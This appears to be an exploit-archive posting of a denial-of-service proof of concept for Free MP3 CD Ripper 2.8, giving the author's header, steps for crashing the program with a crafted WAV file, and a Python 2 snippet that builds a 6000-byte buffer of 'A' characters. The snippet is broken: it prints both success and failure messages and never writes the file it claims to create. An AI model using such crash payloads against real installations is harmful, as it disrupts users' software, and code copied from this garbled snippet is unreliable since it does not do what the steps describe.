Free MP3 CD Ripper 2.8 Buffer Overflow / Denial Of Service

Free MP3 CD Ripper version 2.8 suffers from a buffer overflow vulnerability that can trigger a denial of service condition.

MD5 | 7327fd046eaecae3084c3ca6500dd375

#Exploit Title : Free MP3 CD Ripper 2.8 Buffer Overflow (DOS)
#Date: 23-08-2019
#Vulnerable Software: FREE MP3 CD RIPPER 2.8 Build 20140611
#Vendor Home Page:
#Software Link:
#Tested On: Windows 7 (64Bit)
#Attack Type : Denial of Service
#Impact : Code Execution
#Tested Version - 2.8

#Author - Malav Vyas

#Twitter - @malav_vyas1

#Contact - [email protected]

Steps to reproduce

[1] Run this python file and generate exploit.wav file
[2] Open Free Mp3 CD ripper on target and click on convert button
[3] select exploit.wav file
[4] w00t!! Application should crash, resulting in Denial of service



buffer = "A" * 6000

payload = buffer
print "[+] Creating %s bytes evil payload.." %len(payload)
print "[+] File created!"
print "File cannot be created"

Related Posts